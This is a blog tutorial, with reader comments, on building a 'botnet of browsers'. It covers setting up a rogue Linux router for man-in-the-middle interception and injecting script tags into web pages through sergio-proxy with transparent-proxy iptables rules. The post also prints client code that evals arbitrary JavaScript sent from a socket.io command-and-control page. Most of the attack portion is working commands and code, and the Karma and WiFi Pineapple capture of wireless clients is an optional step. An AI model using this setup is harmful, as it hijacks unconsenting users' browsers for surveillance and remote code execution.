A botnet of browsers – websocket command and control

A botnet of browsers

socket.io is an amazing library which makes it very easy to use websockets. This library gives us real-time communication ability in the browser with very little code.

In this article, I go into an example of a potential misuse of socket.io. I explain how to create a Linux router, then to modify that router to harvest clients into the socket.io network. One web page, the command and control, can see everything. It could send JavaScript to all the clients at once (which is executed on the client’s browser). Or JavaScript could be targeted to individual clients as well. Every connected client’s document object model (DOM) and JavaScript fully accessible from one webpage – in real time.

This article is written for people already familiar with Linux, and Internet networking and security concepts.


How it’s all put together

We need to perform a man-in-the-middle to get control of the network

A Linux virtual machine as a router

Start with a Linux virtual machine. It’s going to need two interfaces – one internal and one external. The internal interface is the one connected to a LAN. If at all possible using bridged mode for this interface and grabbing a DHCP lease from the network the host computer is on.

These interface names will probably be different in your case. For the purpose of this document I will use these interfaces. Replace with yours:

Internal interface __eth3__
External interface __eth2__

Get a DHCP lease from the internal network if you do not have one already

root@bt:~/socket.io# dhclient3 eth3

Now your virtual machine should be able to surf the Internet.

Now to deal with the external interface. I’m using a MacBook which does not have any Ethernet plugs so I plug in a USB Ethernet adapter. It asks if I want to connect it to the MacBook or the VMWare Linux host. Choose Linux. tail /var/log/syslog in the linux guest when you plug it in to see which ethernet interface number (ethX) Linux assigns to the interface. We want to hard-code an IP 192.168.2.1 to this new interface so we can run a DHCP server here.

Install dhcp3-server. Here is a copy of the /etc/dhcp3/dhcpd.conf which will serve IP numbers in the range 192.168.2.100-200

# see if a dhcp *client* is running

ps aux | grep dhclient

# kill any DHCP client on the external interface. A DHCP client running on the same interface as the DHCP server can cause this interface to request an IP – breaking things. We need to prevent that.

kill <dhclient.eth2.pid>

# assign the static ip 192.168.2.1 to the external interface

ifconfig eth2 192.168.2.1 netmask 255.255.255.0

# start the dhcp server on the external interface

/etc/init.d/dhcp3-server restart

# enable network address translation (NAT) a.k.a masquerading. the -o option is for the internal interface

iptables --table nat -A POSTROUTING -o eth3 -j MASQUERADE

# enable ip forwarding – tells Linux that it is allowed to forward traffic between interfaces

echo "1" > /proc/sys/net/ipv4/ip_forward

Now we want to serve some customers on this USB Ethernet adapter. If you hook this new interface eth2 into a switch, any computer which connects to this switch should get an IP address from the dhcp server running and be able to surf the Internet through your new Linux router. If that is not the case then you need to go back and figure out what is wrong before proceeding.

Use airbase-ng with Karma or Hak.5 WIFI Pineapple to catch all wireless devices within range (optional)

At this point one could optionally use airbase-ng with Karma or hook a WIFI pineapple to the external interface in Karma mode to catch wireless clients as well. Those wireless clients would get an IP address from the WIFI pineapple and would be double NAT’ted, but that’s OK. I’m not going to get into more details about this piece at this time.

Inject socket.io client code into html page responses

You have a working Linux router. Congratulations. Now to start modifying the traffic. Sergio Proxy is a great tool for this part. It supports code injection, sslstrip. Sergio proxy runs on port 10000 by default.

Download sergio proxy

Download Sergio Proxy and unzip it somewhere.

Right-click and save this injection-code.html file for use with sergio-proxy. It will add the script tags to load socket.io.

<script>var __socket_server="192.168.2.1"</script>
<script src="http://192.168.2.1/socket.io/socket.io.js"></script>
<script src="http://192.168.2.1/socket-script.js"></script>

You need to get the outbound HTTP/HTTPS requests from the clients to point to sergio proxy. There are some options for this:
– Manually point the proxy settings in the browser to :10000 to opt-in to the proxy
– Use transparent proxy to force all clients into the proxy

Start sergio-proxy

Test with upsidedown internet first to see if sergio-proxy is working alone

./sergio-proxy.py --log-level info --upsidedownternet

If everything looks upside down, Control-C to quit, and launch sergio proxy with html file injection option

./sergio-proxy.py --log-level info --favicon --inject --html-file injection-code.html
Download socket.io

Download socket.io and unzip it somewhere.

socket-script.js for socket.io server

By injecting the injection-code.html above, the client will load socket-script.js from the socket.io node server. This is the JavaScript code which is loaded by the client and creates the socket.io connection to the server.

Right-click and save this app.js for use with socket.io

app.js

Right-click and save this socket-script.js for use with socket.io

(function() {
  var socket = io.connect('http://'+__socket_server)
 
  var myinfo = {
    type: 'client',
    userAgent: navigator.userAgent,
    location: document.location.href
  };
 
  function sendLocation() {
    socket.emit('client-location', document.location.href);
  }
 
  socket.emit('client-info', myinfo);

  socket.on('get-location', function() {
    socket.emit('location', document.location.href);
  });
 
  socket.on('ping', function(data) {
    socket.emit('broadcast-pong', data);
    socket.emit('client-info', myinfo);
  });
 
  socket.on('eval', function(cmd) {
    var result = eval(cmd);
    socket.emit('client-evalresult', result);
  });


  function locationHashChanged() {
    myinfo.location = document.location.href;
    sendLocation();

  }
 
  window.onhashchange = locationHashChanged;

})()

Start socket.io server

Start the socket.io server. Make sure app.js and socket-script.js are in the socket.io folder and start it. This requires node.

cd socket.io
node app.js

Enable Transparent proxy

Connections going through your Linux router should be surfing the Internet successfully before moving on to this step. Sergio proxy should be running on port 10000, but not being used yet. socket.io should be running on port 80 but have no connections yet (unless you had manually set up a browser proxy settings to point there).

Now to enable transparent proxy to force outbound HTTP port 80 (and optionally HTTPS port 443) connections through the proxy.

In the following example, I enable the proxy only for source IP of 192.168.2.102. You probably want to modify this to what makes sense in your configuration. If you mess up, instructions on removing a iptables rule are also below.

transparent proxy multiport for 80 and 443 in one line:

iptables -t nat -A PREROUTING -s 192.168.2.102 -p tcp -m multiport --dports 80,443 -j DNAT --to-destination 192.168.2.1:10000

or if you only want to test with HTTP and not HTTPS – transparent proxy just for port 80 (HTTP):

iptables -t nat -A PREROUTING -s 192.168.2.102 -p tcp --dport 80 -j DNAT --to-destination 192.168.2.1:10000

Disable Transparent proxy (optional)

If you need to disable transparent proxy for any reason, here is how to do it. First, list the rules in the PREROUTING chain

iptables -t nat -L PREROUTING

find the rule you want to delete and

iptables -t nat -D PREROUTING #

where # is the rule number to delete

Command and control

If you have made it this far, now for the fun part – the socket.io command and control page. We create a page which connects to the socket.io server and has administrative functions available to monitor and control the clients.

– Right click and save the socket.io command and control page socket-io-cnc.html

You can just double click on this command and control page and load it up. The page will need to connect to the socket.io server, so it must be able to reach 192.168.2.1, the IP address where the socket.io server is running.

If the page is loaded, and able to reach the socket.io server, you should see active connections listed.

socket-io-cnc-16

Find a client we want to send code to and click the link for them. Then enter some JavaScript such as alert(‘hi’)

hacker news alert send

The page running the code on another browser

hacker news alert receive

All the files

dhcpd.conf for dhcp3-server
injection-code.html for sergio-proxy
app.js server-side code for socket.io
socket-script.js client-side code for socket.io
socket-io-cnc.html the command and control page

Other notes

* Running a socket.io server on a Internet accessible server is much more versatile than running one locally only on a private IP such as 192.168.2.1.
* A SSL-enabled socket.io server is required to control a page using HTTPS

TODO next

* socket.io security/authentication
* local IP discovery with WebRTC

8 thoughts on “A botnet of browsers – websocket command and control

  1. I have a question, with the Socket.io botnet, is there any other ‘Run and go’ http proxy server applications which you can inject javascript into the proxy clients results with?

  2. I’ve a question by the way why did you put “httpS” in socket-script.js
    var socket = io.connect(‘httpS:’+__socket_server)
    the server is listening on port 80 isn’t it ?!

    1. Another typo. I usually run my socket.io server as HTTPS as this is required to inject code into the browser when the user is on a https site. For purposes of the blog post the socket.io server is not https. But it is highly recommended to get a certificate and set up the node.js/socket.io as https if possible.

  3. I get an Error when running the app.js

    app.js:40
    var endpoint = socket.manager.handshaken[socket.id].address;
    ^
    TypeError: Cannot read property ‘handshaken’ of undefined
    at Namespace.
    How could this be fixed ?! thanks…

Leave a Reply

Your email address will not be published. Required fields are marked *